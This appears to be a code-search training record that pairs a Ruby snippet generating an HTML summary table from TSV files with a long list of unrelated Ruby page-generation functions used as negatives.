fh.each do |ln|
r = ln.chomp.split("\t")
if $. == 1
table += '<thead><tr>' +
r.map { |i| "<th scope=col>#{format_name(i)}</th>" }.join(' ') +
'</tr></thead><tbody>'
else
table += "<tr><th scope=row>#{r.shift}</th>" +
r.map { |i| "<td>#{i}</td>" }.join(' ') + "</tr>"
end
end
end
table += '</tbody></table>'
write_file(p, "s-#{b}.html") do
build_from_template(
'summary.html', file: "#{b}.tsv", name: format_name(b), table: table
)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_project_page(p)\n # Redirect page\n write_file(p, '../index.html') { build_from_template('redirect.html') }\n\n # Summaries\n summaries = Dir[\"#{p.path}/*.tsv\"].map do |i|\n b = File.basename(i, '.tsv')\n generate_summary_page(i, p)\n \"<li><a href='s-#{b}.html'>#{format_name(b)}</a></li>\"\n end.join('')\n\n # Project index page\n data = {\n project_active: 'active',\n information: format_metadata(p),\n summaries: summaries.empty? ? 'None' : \"<ul>#{summaries}</ul>\",\n results: format_results(p)\n }\n write_file(p, 'index.html') { build_from_template('index.html', data) }\n end",
"def create_empty_page(p)\n cli.say 'Creating project page'\n FileUtils.mkdir_p(browse_file(p, '.'))\n %w[favicon-32.png style.css].each do |i|\n FileUtils.cp(template_file(i), browse_file(p, i))\n end\n write_file(p, 'about.html') do\n build_from_template('about.html', citation: MiGA::MiGA.CITATION)\n end\n end",
"def create(p)\n puts \"Creating page #{p}\"\n Dir.mkdir p unless File.exists? p\n Content.new(\"#{@dir}\", @extension).page p\n end",
"def create_summary\r\n puts \"Creating a summary...\"\r\n #@lists.disp_summary\r\n create_html_summary\r\n file = File.open('test.html','w')\r\n file << @html\r\n file.close\r\n end",
"def write_page(page, path = '')\n self.output_resource_op page\n\n # Note: we assume the current locale is the default one\n page.translated_in.each do |locale|\n default_locale = locale.to_sym == self.mounting_point.default_locale.to_sym\n\n # we do not need the localized version of the filepath\n filepath = page.fullpath.dasherize\n\n Locomotive::Mounter.with_locale(locale) do\n # we assume the filepath is already localized\n self.write_page_to_fs(page, filepath, default_locale ? nil : locale)\n end\n end\n\n self.output_resource_op_status page\n\n # also write the nested pages\n (page.children || []).each do |child|\n self.write_page(child, page.depth == 0 ? '' : page.slug)\n end\n end",
"def generate_dataset_page(p, d)\n data = {\n unmiga_name: d.name.unmiga_name,\n information: format_metadata(d),\n results: format_results(d)\n }\n write_file(p, \"d_#{d.name}.html\") do\n build_from_template('dataset.html', data)\n end\n end",
"def write_page(path, format, data, commit = {})\n write(merge_path_elements(nil, path, format), data, commit)\n end",
"def projectinfo_for(p)\n res = sitemap.find_resource_by_page_id(\"projectinfo/#{project_slug(p)}\")\n if res\n return res.render\n end\n end",
"def build_page(path, silent: false)\n page = sitemap[path]\n out_fname = File.join(BUILD_DIR, path)\n puts \"Rendering #{out_fname}...\" unless silent\n\n # Check page data for info on how to build this path\n if page['template'].present?\n ctx = TemplateContext.new(@config)\n ctx.page = page\n # Check if we have a layout defined, use it\n layout = ctx.page.key?('layout') ? ctx.page['layout'] : config['layout']\n\n # Make sure to render the template inside the layout render so code in the\n # erb layout and template are executed in a sensible order.\n content =\n if layout.present?\n ctx.render(layout) { ctx.render(ctx.page['template']) }\n else\n ctx.render(ctx.page['template'])\n end\n elsif page['json'].present?\n content = page['json'].to_json\n elsif page['file'].present?\n content = File.read(page['file'])\n else\n raise(\n ArgumentError,\n \"Page '#{path}' missing one of required attributes: 'template', 'json', 'file'.\"\n )\n end\n\n # If page data includes a digest flag, add sha1 digest to output filename\n if page['digest'] == true\n ext = VizBuilder.fullextname(path)\n fname = File.basename(path, ext)\n dir = File.dirname(path)\n digest = Digest::SHA1.hexdigest(content)\n digest_fname = \"#{fname}-#{digest}#{ext}\"\n page['digest_path'] = \"#{dir}/#{digest_fname}\"\n out_fname = File.join(BUILD_DIR, dir, digest_fname)\n end\n\n FileUtils.mkdir_p(File.dirname(out_fname))\n File.write(out_fname, content)\n content\n end",
"def new_page_info\n args = Webby.site.args\n\n # TODO: maybe even get rid of this method altogether\n raise \"Usage: webby #{args.rake.first} 'path'\" if args.raw.empty?\n\n [args.page, args.title, args.dir]\n end",
"def process_pages\n bindings = {\n :name => @definition.get_name,\n :version => @definition.get_version\n }\n\n page = Calamum::DocGenerator.new(:view)\n @definition.resources.each do |methods|\n methods[1].each do |resource|\n bindings.merge!(:resource => resource)\n filename = \"#{resource.slug}.html\"\n page.save_template(filename, bindings)\n end\n end\n end",
"def make_page(file_path, collection: \"posts\", category: nil, tags: nil)\n PageWithoutAFile.new(@site, __dir__, \"\", file_path).tap do |file|\n file.content = feed_template\n file.data.merge!(\n \"layout\" => nil,\n \"sitemap\" => false,\n \"xsl\" => file_exists?(\"feed.xslt.xml\"),\n \"collection\" => collection,\n \"category\" => category,\n \"tags\" => tags\n )\n file.output\n end\n end",
"def write_page\n contents = [people,projects,events].inject({}) { |x,y| x.merge(y) }\n File.open('index.html','w') do |f|\n f.write(@template.render(contents))\n end\n end",
"def to_page\n \n u = User.find_by_login(authorid)\n \n UserActionObserver.current_user = u\n \n page = Page.new(\n :title => title,\n :created_at => lastmod,\n :updated_at => lastmod,\n :slug => url_title,\n :status => Status[:published],\n :breadcrumb => title,\n :published_at => posted, \n :enable_comments => annotate.to_s,\n :keywords => keywords,\n :created_by => u,\n :updated_by => u\n )\n \n page.parts << PagePart.new(:name => 'body', :filter_id => \"Textile\", :content => body )\n page.parts << PagePart.new(:name => 'intro', :filter_id => \"Textile\", :content => body.split(/\\r\\n\\s*\\r\\n/).first)\n \n page\n end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def summary\n resource = pointer[\"resource\"]\n content, id = self.get_page_content\n line_limit = @ruhoh.db.config(resource)['summary_lines']\n line_count = 0\n line_breakpoint = content.lines.count\n\n content.lines.each_with_index do |line, i|\n if line =~ /^\\s*$/ # line with only whitespace\n if line_count >= line_limit\n line_breakpoint = i\n break\n end\n else\n line_count += 1\n end\n end\n\n summary = content.lines.to_a[0, line_breakpoint].join\n\n # The summary may be missing some key items needed to render properly.\n # So search the rest of the content and add it to the summary.\n content.lines.with_index(line_breakpoint) do |line, i|\n # Add lines containing destination urls.\n if line =~ /^\\[[^\\]]+\\]:/\n summary << \"\\n#{line}\"\n end\n end\n\n summary = master.render(summary)\n Ruhoh::Converter.convert(summary, id)\n end",
"def parse_project(p)\n @builder.outline(\"text\" => p[\"name\"], \"type\" => \"link\", \"url\" => p[\"url\"], \"created\" => p[\"created\"]) do\n p[\"tasks\"].each { |t| parse_task(t) }\n end\n end",
"def index\n @descriptive_pages = DescriptivePage.where(Project_id: session[:current_project_id])\n @project = Project.find_by(id: session[:current_project_id])\n end",
"def details_page\n @details_page ||= seed_url ? Project.fetch_details(seed_url) : Project.fetch_details(url)\n end",
"def testem_page\n testem_fields(\n \"#{Prawn::DATADIR}/images/reports/CEM2030-2012_Page_01.pdf\"\n # \"#{Rails.root}/app/assets/images/reports/testem_fields.pdf\"\n # \"#{Rails.root}/app/assets/pdfs/testem.png\"\n )\n start_new_page\n end",
"def create\n @descriptive_page = DescriptivePage.new(descriptive_page_params)\n @descriptive_page.Project_id = session[:current_project_id]\n\n respond_to do |format|\n if @descriptive_page.save\n format.html { redirect_to @descriptive_page, notice: 'Descriptive page was successfully created.' }\n format.json { render :show, status: :created, location: @descriptive_page }\n else\n format.html { render :new }\n format.json { render json: @descriptive_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def output(path)\n if @first_pass\n @first_pass = false\n FileUtils.rm_rf path if clean_first\n end\n FileUtils.mkdir_p path\n \n if quick_mode\n posts.chop! 20\n end\n @stats.reset\n \n unless metadata.nil? || !metadata['static'].is_a?(Array)\n stats.record(:site, :static) do\n for dir in metadata['static']\n FileUtils.cp_r File.join(source_dir, dir), File.join(path, dir)\n end\n end\n end\n \n before = Time.now\n Dir.chdir(path) do\n stats.record(:site, :pages) do\n pages.each do |name, page|\n FileUtils.mkdir_p page.output_dir unless File.directory?(page.output_dir)\n if check_mtime\n if File.file?(page.output_path) && File.mtime(page.output_path) > page.source_mtime\n next\n end\n page.load\n end\n File.open(page.output_path, 'w') { |f| f.write page.render }\n end\n end\n \n stats.record(:site, :posts) do\n posts.each do |post|\n FileUtils.mkdir_p post.output_dir unless File.directory?(post.output_dir)\n if check_mtime\n if File.file?(post.output_path) && File.mtime(post.output_path) > post.source_mtime\n next\n end\n post.load\n end\n File.open(post.output_path, 'w') { |f| f.write post.render }\n end\n end\n \n stats.record(:site, :stylesheets) do\n unless stylesheets.nil?\n stylesheets.each do |name, stylesheet|\n FileUtils.mkdir_p stylesheet.output_dir unless File.directory?(stylesheet.output_dir)\n if check_mtime\n if File.file?(stylesheet.output_path) && File.mtime(stylesheet.output_path) > stylesheet.source_mtime\n next\n end\n stylesheet.load\n end\n File.open(stylesheet.output_path, 'w') { |f| f.write stylesheet.render }\n end\n end\n end\n \n stats.record(:site, :indices) do\n unless year_index.nil? && month_index.nil? && day_index.nil?\n posts.each_index do |dir|\n posts = self.posts.from(dir)\n Dir.chdir(dir) do\n context = dir.split('/').collect { |c| c.to_i }\n date_index = case context.length\n when 1\n year_index\n when 2\n month_index\n when 3\n day_index\n else\n nil\n end\n date_index.posts = posts\n date_index.context = Time.local *context\n File.open('index.html', 'w') { |f| f.write date_index.render }\n end\n end\n end\n \n unless tag_index.nil?\n tags.each do |tag|\n tag_index.context = tag.name\n tag_index.posts = tag\n FileUtils.mkdir_p tag.output_dir\n File.open(tag.output_path, 'w') { |f| f.write tag_index.render }\n end\n end\n end\n end\n \n self.stats.display if show_statistics\n end",
"def create\r\n html=params[:page][:html]\r\n @page = Page.new(params[:page])\r\n respond_to do |format|\r\n if @page.save\r\n format.html { redirect_to @page, notice: 'Page was successfully created.' }\r\n format.json { render json: @page, status: :created, location: @page }\r\n target = \"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\"\r\n if !File.directory?(\"#{Rails.public_path}/#{@page.project_id}\")\r\n Dir.mkdir(\"#{Rails.public_path}/#{@page.project_id}\")\r\n Dir.mkdir(\"#{Rails.public_path}/#{@page.project_id}/images\")\r\n end\r\n File.open(target, \"w+\") do |f|\r\n f.write(html)\r\n end\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @page.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create_html path\n html_name = \"#{File.basename(path, '.md')}.html\"\n\n if html_name !~ /^index/\n html_name = 'md/' + html_name\n end\n\n puts \"Ejecutando «pc-pandog -i #{path} -o #{html_name}»…\"\n system(\"pc-pandog -i #{path} -o #{html_name}\")\n\n html = get_html(html_name)\n new_html = []\n\n write = true\n html.each do |l|\n if l =~ /<head>/\n write = false\n if html_name !~ /^index/\n new_html.push($head.join(\"\\n\"))\n else\n new_html.push($head.join(\"\\n\").gsub('<link type=\"text/css\" rel=\"stylesheet\" href=\"../css/styles.css\">', '<link type=\"text/css\" rel=\"stylesheet\" href=\"css/styles.css\">').gsub('<script type=\"text/javascript\" src=\"../js/piwik.js\"></script>', '<script type=\"text/javascript\" src=\"js/piwik.js\"></script>'))\n end\n elsif l =~ /<\\/head>/\n write = true\n elsif l =~ /<style>/\n if html_name !~ /^index/\n new_html.push($header.join(\"\\n\"))\n else\n new_html.push($header.join(\"\\n\").gsub('../index.html', '').gsub(/\"(\\S+?\\.html)\"/, 'html/' + '\\1')) \n end\n elsif l =~ /<\\/body>/\n new_html.push($footer.join(\"\\n\"))\n new_html.push(l)\n else\n if write == true\n new_html.push(l)\n end\n end\n end\n\n new_html = beautifier_html(new_html)\n\n\t# Se actualiza la información\n\tarchivo = File.new(html_name, 'w:UTF-8')\n\tarchivo.puts new_html\n\tarchivo.close\n\n # Si no es el index, lo mueve a la carpeta «html»\n if html_name !~ /^index/\n FileUtils.mv(html_name, 'html')\n end\nend",
"def pages; end",
"def write_the_html_file(mdpath, name)\n DbgMgr.put \"out_html\", \"writing #{name}html\"\n file = File.join @doc, (name + \"html\")\n VersionedFile.new_version file, true, bak: @doc_bak, keep: @keep\n cmd = \"pandoc -p -s -S -f markdown -t html5 --toc --toc-depth=4 \" +\n \"--self-contained --css #{@css} -o #{file} #{mdpath}\"\n DbgMgr.put \"out_html\", cmd\n output = %x[#{cmd}]\n [$?.exitstatus, output]\n\n end",
"def createStoryPage(ein_number, org_name, story_name, story_summary, page_story, youtube_url, desig_value, goal_amount, goal_date, sug_amount, sug_desc)\n\t\n\tputs \"************** START : Create Story Page ****************\"\t\n\t#------------CREATING PROJECT PAGE-------------------------------#\n\tbegin\n\t\tassert $browser.is_element_present(\"link=My nonprofit\")\n\t\tbegin\n\t\t\tassert $browser.is_text_present(\"My nonprofit\")\n\t\t\tputs \"Pass. My nonprofit link is displayed at the header.\"\n\t\trescue Test::Unit::AssertionFailedError\n\t\t\tputs \"Fail. My nonprofit link is not displayed at the header.\"\n\t\tend\n\t\t#***************** Link position check *****************#\n\t\t@mynpolink_topposition = $browser.get_element_position_top \"link=My nonprofit\"\n\t\tputs \"MyNPO link Top position : #{@mynpolink_topposition}\"\n\t\tif @mynpolink_topposition == '258'\n\t\t\tputs \"UI Check : Pass. My nonprofit link is present at the correct position in Home screen.\"\n\t\telse\n\t\t\tputs \"UI Check : Fail. My nonprofit link is not present at the correct position in Home screen.\"\n\t\tend\n\t\t$browser.click \"link=My nonprofit\"\n\t\t$browser.wait_for_page_to_load \n\t\t#***************** Button position check *****************#\n\t\t@createfrbutton_topposition = $browser.get_element_position_top \"//div/p[2]/a[2]\"\n\t\tputs \"CreateFR button Top position : #{@createfrbutton_topposition}\"\n\t\tif @createfrbutton_topposition == '258'\n\t\t\tputs \"UI Check : Pass. CreateFR button is present at the correct position in Story screen.\"\n\t\telse\n\t\t\tputs \"UI Check : Fail. CreateFR button is not present at the correct position in Story screen.\"\n\t\tend\n\t\t$browser.click \"//div/p[2]/a[2]\"\n\t\t$browser.wait_for_page_to_load \n\t\tbegin\n\t\t\tassert $browser.is_element_present(\"link=Start a fundraiser\")\n\t\t\tputs \"Reached Razoo CMS page.:)\"\n\t\t\t $browser.click \"link=Start a fundraiser\"\n\t\t\t$browser.wait_for_page_to_load \n\t\trescue Test::Unit::AssertionFailedError\n\t\t\tbegin\n\t\t\t\tassert $browser.is_element_present(\"//a[contains(@href, '/story/new?subject=#{ein_number}')]\")\n\t\t\t\tputs \"Reached GiveMN CMS page.:)\"\n\t\t\t\t$browser.click \"//a[contains(@href, '/story/new?subject=#{ein_number}')]\"\n\t\t\t\t$browser.wait_for_page_to_load \n\t\t\trescue\n\t\t\tend\n\t\tend\n\trescue\n\t#------------CREATING FUNDRAISE PAGE-------------------------------#\n\t\tsleep 5\n\t\t$browser.click \"//div/p[2]/a[2]\"\n\t\t$browser.wait_for_page_to_load \n\t\tbegin\n\t\t\tassert $browser.is_element_present(\"link=Start a fundraiser\")\n\t\t\tputs \"Reached Razoo CMS page.:)\"\n\t\t\t$browser.click \"link=Start a fundraiser\"\n\t\t\t$browser.wait_for_page_to_load \n\t\trescue Test::Unit::AssertionFailedError\n\t\t\tbegin\n\t\t\t\tassert $browser.is_element_present(\"//a[contains(@href, '/story/new?subject=#{ein_number}')]\")\n\t\t\t\tputs \"Reached GiveMN CMS page.:)\"\n\t\t\t\t$browser.click \"//a[contains(@href, '/story/new?subject=#{ein_number}')]\"\n\t\t\t\t$browser.wait_for_page_to_load \n\t\t\trescue\n\t\t\tend\n\t\tend\n\tend\n\tsleep 25\n\tputs \"Step 1 : Entering valid details for creating Story page\"\n\t$browser.type \"story_title\", story_name\n\t$browser.click \"//button[@type='submit']\"\n\t$browser.wait_for_page_to_load \n\tbegin\n\t\tassert $browser.is_text_present(\"This title is already being used by another nonprofit, project, or fundraiser\")\n\t\tputs \"Failed. #{story_name} is already being used by another nonprofit, project, or fundraiser. Try using a different name.\"\n\trescue Test::Unit::AssertionFailedError\n\tend\n\tbegin\n\t\tassert $browser.is_text_present(\"Congratulations, your page has been created!\")\n\t\tputs \"Step 2 : Passed. #{story_name} created successfully!\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 2 : Failed. #{story_name} creation failed!\"\n\tend\n\t\n\tbegin\n\t\tassert $browser.is_element_present(\"link=Tell Your Story\")\n\t\tputs \"Step 3 : Passed. Tell Your Story link is displayed under FR/PRO Completion Steps section.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 3 : Failed. Tell Your Story link is not displayed under FR/PRO Completion Steps section.\"\n\tend\n\tbegin\n\t\tassert $browser.is_element_present(\"link=Illustrate Your Story\")\n\t\tputs \"Step 4 : Passed. Illustrate Your Story link is displayed under FR/PRO Completion Steps section.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 4 : Failed. Illustrate Your Story link is not displayed under FR/PRO Completion Steps section.\"\n\tend\n\tbegin\n\t\tassert $browser.is_element_present(\"link=Set Your Goals\")\n\t\tputs \"Step 5 : Passed. Set Your Goals link is displayed under FR/PRO Completion Steps section.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 5 : Failed. Set Your Goals link is not displayed under FR/PRO Completion Steps section.\"\n\tend\n\tbegin\n\t\tassert $browser.is_element_present(\"link=Share It With Others\")\n\t\tputs \"Step 6 : Passed. Share It With Others link is displayed under FR/PRO Completion Steps section.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 6 : Failed. Share It With Others link is not displayed under FR/PRO Completion Steps section.\"\n\tend\n\t\n\t$browser.click \"link=Edit\"\n\t$browser.wait_for_page_to_load \n\tsleep 5\n\t$browser.type \"story_short_description\", story_summary\t\n\t$browser.type \"//body[@id='tinymce']\", page_story\n\t$browser.click \"//a[@id='story_long_description_numlist']/span\"\n\t#$browser.type \"story_designation\", desig_value\n\tbegin\n\t\tassert $browser.is_text_present(\"Admin Note:\")\n\t\t$browser.type \"story[donation_suggestion_levels][0]\", sug_amount\n\t\t$browser.type \"story[donation_suggestion_descriptions][0]\", sug_desc\n\t\t$browser.click \"link=add another amount\"\n\t\t$browser.type \"story[donation_suggestion_levels][1]\", sug_amount\n\t\t$browser.type \"story[donation_suggestion_descriptions][1]\", sug_desc\n\t\t$browser.click \"link=add another amount\"\n\t\t$browser.type \"story[donation_suggestion_levels][2]\", sug_amount\n\t\t$browser.type \"story[donation_suggestion_descriptions][2]\", sug_desc\n\t\t$browser.click \"link=add another amount\"\n\t\t$browser.type \"story[donation_suggestion_levels][3]\", sug_amount\n\t\t$browser.type \"story[donation_suggestion_descriptions][3]\", sug_desc\n\t\t$browser.click \"link=add another amount\"\n\t\t$browser.type \"story[donation_suggestion_levels][4]\", sug_amount\n\t\t$browser.type \"story[donation_suggestion_descriptions][4]\", sug_desc\n\t\t$browser.click \"css=button[type=submit]\"\n\t\t$browser.wait_for_page_to_load \n\trescue\n\t\t@createstorybutton_topposition = $browser.get_element_position_top \"css=button[type=submit]\"\n\t\tputs \"CreateStory button Top position : #{@createstorybutton_topposition}\"\n\t\tif @createstorybutton_topposition == '258'\n\t\t\tputs \"UI Check : Pass. CreateStory button is present at the correct position in Createstory screen.\"\n\t\telse\n\t\t\tputs \"UI Check : Fail. CreateStory button is not present at the correct position in Createstory screen.\"\n\t\tend\n\t\t$browser.click \"css=button[type=submit]\"\n\t\t$browser.wait_for_page_to_load \n\tend\n\t\t\n\t$browser.click \"link=View\"\n\t$browser.wait_for_page_to_load\n\t\t\n\tbegin\n\t\tassert $browser.is_element_present(admin_links)\n\t\tputs \"Step 10 : Passed. Admin links are available in the Created #{story_name} page\"\n\trescue \n\tend\n\tbegin\n\t\tassert $browser.is_text_present(\"Your page is 20% complete.\")\n\t\tputs \"Step 11 : Passed. 20% complete label gets displayed in PRO completion steps progress bar.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 11 : Failed. Incorrect percent is displayed in PRO completion steps progress bar.\"\n\tend\n\t\n\tputs \"************** END : Create Story Page ****************\"\nend",
"def documentation_page store, generator, path, req, res\n text_name = path.chomp '.html'\n name = text_name.gsub '/', '::'\n\n if klass = store.find_class_or_module(name) then\n res.body = generator.generate_class klass\n elsif page = store.find_text_page(name.sub(/_([^_]*)\\z/, '.\\1')) then\n res.body = generator.generate_page page\n elsif page = store.find_text_page(text_name.sub(/_([^_]*)\\z/, '.\\1')) then\n res.body = generator.generate_page page\n else\n not_found generator, req, res\n end\n end",
"def initialize(path, page)\n @path = path\n @page_name = page\n end",
"def generate_pages(count: , &block)\n dir = @dir.join(\"pages\")\n FileUtils.mkdir_p dir.join(\"pages\")\n next_page_name.take(count).map do |page_name|\n path = dir.join(page_name)\n block ? block.call(path) : File.write(path, '<h1>Some glorius content!</h1>')\n @pages.push path\n end\n end",
"def write_page(name, format, data, commit = {})\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n add_to_index(index, '', name, format, data)\n end\n\n @access.refresh\n update_working_dir(index, '', name, format)\n\n sha1\n end",
"def help_text\n build_html do\n p <<P1\nThis page is a simple presentation of the paths that match the file\nthat was searched for an the fileset that the file was shipped in.\nP1\n end\n end",
"def setup\n @page = pages(:homepage)\n end",
"def what_it_does() \"Generate javadoc to '#{@name}' folder\" end",
"def create\r\n @project = current_user.projects.new(project_params)\r\n new_page = @project.pages.new({ name: generate_new_page_name})\r\n @project.startpage = new_page\r\n @project.date_created = Time.now\r\n @project.last_modified = Time.now\r\n respond_to do |format|\r\n if @project.save\r\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\r\n format.json { render action: 'show', status: :created, location: @project }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @project.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n flash[:notice] = 'The page was successfully created.' if page.save\n respond_with(page, location: project_page_path(page.project, page))\n end",
"def project_summary\n move_down 50\n summary = [[\"Project Summary\",\"\",\"\",\"\"],\n [\"Project Name\",\"Sales Person\",\"Project Status\",\"No. of Sites\"],\n [@project.project_name, \"#{@project.sales_person.sales_person_first_name} #{@project.sales_person.sales_person_last_name}\", @project.project_status.project_status_name ,@project.project_sites.count],\n [\"Project Setting\",\"Procurement Tool\",\"Deal Type\",\"Irrigation Responsibility\"],\n [@project.project_setting.project_setting_name,@project.procurement_tool.procurement_tool_name,@project.deal_type.deal_type_name,@project.irrigation_responsibility.irrigation_responsibility_name]\n ]\n table summary do\n rows(0..1).font_style = :bold\n row(3).font_style = :bold\n rows(0).background_color = \"a414e2\"\n rows(0).text_color = \"FFFFFF\"\n self.row_colors = [\"addbed\",\"25b2ea\"]\n column(0).width = 160\n column(1).width = 125\n column(2).width = 126\n column(3).width = 126\n columns(0..3).size = 10\n column(0).row(0).borders = :top, :left\n columns(1..2).row(0).borders = :top, :bottom\n column(3).row(0).borders = :top, :bottom, :right\n end\n end",
"def generate_page file\n setup\n\n template_file = @template_dir + 'page.rhtml'\n\n out_file = @outputdir + file.path\n debug_msg \" working on %s (%s)\" % [file.full_name, out_file]\n rel_prefix = @outputdir.relative_path_from out_file.dirname\n search_index_rel_prefix = rel_prefix\n search_index_rel_prefix += @asset_rel_path if @file_output\n\n current = file\n asset_rel_prefix = rel_prefix + @asset_rel_path\n\n @title = \"#{file.page_name} - #{@options.title}\"\n\n debug_msg \" rendering #{out_file}\"\n render_template template_file, out_file do |io|\n here = binding\n # suppress 1.9.3 warning\n here.local_variable_set(:current, current)\n here.local_variable_set(:asset_rel_prefix, asset_rel_prefix)\n here\n end\n end",
"def page_title\n \"which fileset for #{path}\"\n end",
"def send_overview(path)\n response = self.create_section_response\n public_section = DocumentSection.from_path(path, :include => \"Departments\")\n public_section.name = path.split(\"/\")[1]\n response[:sections] << public_section\n return response\n end",
"def create_pages(page)\n skip_count = 0\n page[:content].split( SEP_PAGES ).each_with_index do |content,i|\n if content =~ PTN_METADATA\n page[:title] = $1;page[:tag] = $2\n page[:created_at] = str2time( $3 ) if !$3.blank?\n h = {};$4.split('|').each{|e| pair = e.split('=') ; h[pair[0].to_sym] = pair[1] }\n h[:public_flag] = false if !h[:public_flag] || h[:public_flag] != \"true\"\n h[:page_type] = 'N' if !h[:page_type]\n page.merge!(h)\n #$lgr.info page.inspect\n content.gsub! PTN_METADATA , \"\"\n end\n page[:content] = content\n extract_data Page.create!(page)\n end.length\n end",
"def create_summary_doc\n label = 'Summary Information'\n doc = self.base_doc.merge({\n :xml_display => @xml.at(\"/ead/archdesc/did\").to_xml,\n :id => generate_id('summary'),\n :title_t => label,\n :hierarchy => [self.title, label]\n })\n doc\n end",
"def summary(link_count)\n filesize = number_to_human_size(self.filesize)\n width = self.class::PATH_OUTPUT_WIDTH\n path = SitemapGenerator::Utilities.ellipsis(self.path_in_public, width)\n \"+ #{('%-'+width.to_s+'s') % path} #{'%10s' % link_count} links / #{'%10s' % filesize}\"\n end",
"def visit(page)\n found = @segments[page.post_title]\n return unless found\n #page.post_content = found\n file = ::Sphonglepress::STATIC_DIR.join(\"from_document\", full_path_for_page(page) << \".html.haml\")\n FileUtils.mkdir_p(file.dirname) unless Dir.exist? file.dirname\n File.open(file, 'w') do |f|\n f.write Haml::HTML.new(found, :xhtml => true).render\n end\n \n end",
"def preview_page(name, data, format)\n page = @page_class.new(self)\n ext = @page_class.format_to_ext(format.to_sym)\n path = @page_class.cname(name) + '.' + ext\n blob = OpenStruct.new(:name => path, :data => data)\n page.populate(blob, path)\n page.version = @access.commit('HEAD')\n page\n end",
"def page\n\n end",
"def new\n @ppage = Podpage.new\n end",
"def pages\n end",
"def doc( path )\n get \"#{path}.html\" do\n password_protected!\n \n endpoint = path.split('/').last\n \n template_path = File.join( VIEW_PATH, \"#{endpoint}.md\" )\n rendered = GitHub::Markup.render( template_path )\n\n erb :layout, :locals => { :content => rendered }\n end\nend",
"def page_metadata(page)\n data = []\n add_data = Proc.new do |content|\n data.push(content_tag(:div, content))\n end\n \n filing = page.filing\n doc = page.filing_doc\n\n [[\"Filing: #{filing.fcc_num}\", fcc_filing_url(filing)],\n [\"Document: #{doc.fcc_num}\", doc.url]].each do |args|\n add_data[link_to(*args)]\n end\n\n add_data[\"Pages: #{doc.pagecount}\"] \n\n %w(author lawfirm applicant).each do |name|\n if (value = filing.send(name)).present?\n add_data[\"#{name.titleize}: #{value}\"]\n end\n end\n\n data.join(\"\\n\").html_safe\n end",
"def generate_html\n # the individual descriptions for files and classes\n gen_into(@files)\n gen_into(@classes)\n # and the index files\n gen_file_index\n gen_class_index\n gen_method_index\n gen_main_index\n\n # this method is defined in the template file\n write_extra_pages if defined? write_extra_pages\n end",
"def summary(link_count)\n filesize = number_to_human_size(self.filesize)\n width = self.class::PATH_OUTPUT_WIDTH - 3\n path = SitemapGenerator::Utilities.ellipsis(self.path_in_public, width)\n \"+ #{('%-'+width.to_s+'s') % path} #{'%10s' % link_count} sitemaps / #{'%10s' % filesize}\"\n end",
"def save_print_page(path, **options); end",
"def generate(top_levels)\n @output_dir = Pathname.new(@options.op_dir).expand_path(@base_dir)\n \n @files = top_levels.sort\n @main_page = find_main_page\n @text_files = @files.select do |file|\n file != @main_page and file.text_content?\n end\n @classes = RDoc::TopLevel.all_classes_and_modules.select { |mod| mod.document_self }.sort\n @methods = @classes.map { |m| m.method_list }.flatten.sort\n\n template('index.haml', 'project_index.haml', 'index.html') do |index|\n index.vars.page_title = @options.title\n index.vars.page_type = :main\n index.vars.current_page = @main_page\n index.vars.files = @text_files\n index.vars.methods = @methods\n index.vars.classes = @classes\n end\n \n for klass in @classes\n template('class_module.haml', klass.path) do |tm|\n tm.vars.page_title = klass.full_name\n tm.vars.page_type = :class_module\n tm.vars.klass = klass\n end\n end\n \n for file in @text_files\n template('index.haml', file.path) do |file_page|\n file_page.vars.page_title = file.base_name\n file_page.vars.page_type = :file\n file_page.vars.current_page = file\n end\n end\n \n template('styles.sass', 'styles.css').write!\n end",
"def flowchart\r\n @project = Project.find(params[:project_id])\r\n @foundpages = Page.find(:all, :conditions => { :project_id => @project.id })\r\n render 'flowchart'\r\n end",
"def webSiteBuildCategoryLinkPage(labels, pageShortPath, pageTitle)\n # Create page path.\n destDir = Pathname.new(pathWebSitePages())\n destFile = destDir + pageShortPath + \"index.html\"\n \n puts \"Building page: \" + destFile.to_s\n \n # Get content HTML.\n html = webSiteBuildLinkListForLabels(labels, pageShortPath)\n \n # Save the page.\n webSiteBuildPageFromStandardTemplate(\n pageTitle,\n html,\n destFile)\nend",
"def generate_pages\n Dir.foreach(@site_path) do |file|\n if file =~ /(\\w+)\\.page/\n path = File.join(@site_path, file)\n\n File.open(File.join(@site_path, \"#{$1}.html\"), 'w') do |f|\n f << generate_page(parse_page(path))\n end\n\n @log.debug(\" generated a page from #{path}\")\n end\n end\n end",
"def create_page\n @outfile.puts <<'EOF'\n<!DOCTYPE html>\n<html>\n <head>\n <title>Fun Fun Fun</title>\n <meta charset=\"utf-8\">\nEOF\n\n include_stylesheets\n include_javascript\n add_data(@batch)\n @outfile.puts <<'EOF'\n </head>\n <body>\n <svg class=\"chart\">\n </svg>\n </body>\n</html>\nEOF\n end",
"def add(filepath, attributes = {})\n fullpath = self.filepath_to_fullpath(filepath)\n\n unless self.pages.key?(fullpath)\n attributes[:title] = File.basename(fullpath).humanize\n attributes[:fullpath] = fullpath\n\n page = Locomotive::Mounter::Models::Page.new(attributes)\n page.mounting_point = self.mounting_point\n page.filepath = File.expand_path(filepath)\n\n page.template = OpenStruct.new(raw_source: '') if File.directory?(filepath)\n\n self.pages[fullpath] = page\n end\n\n self.pages[fullpath]\n end",
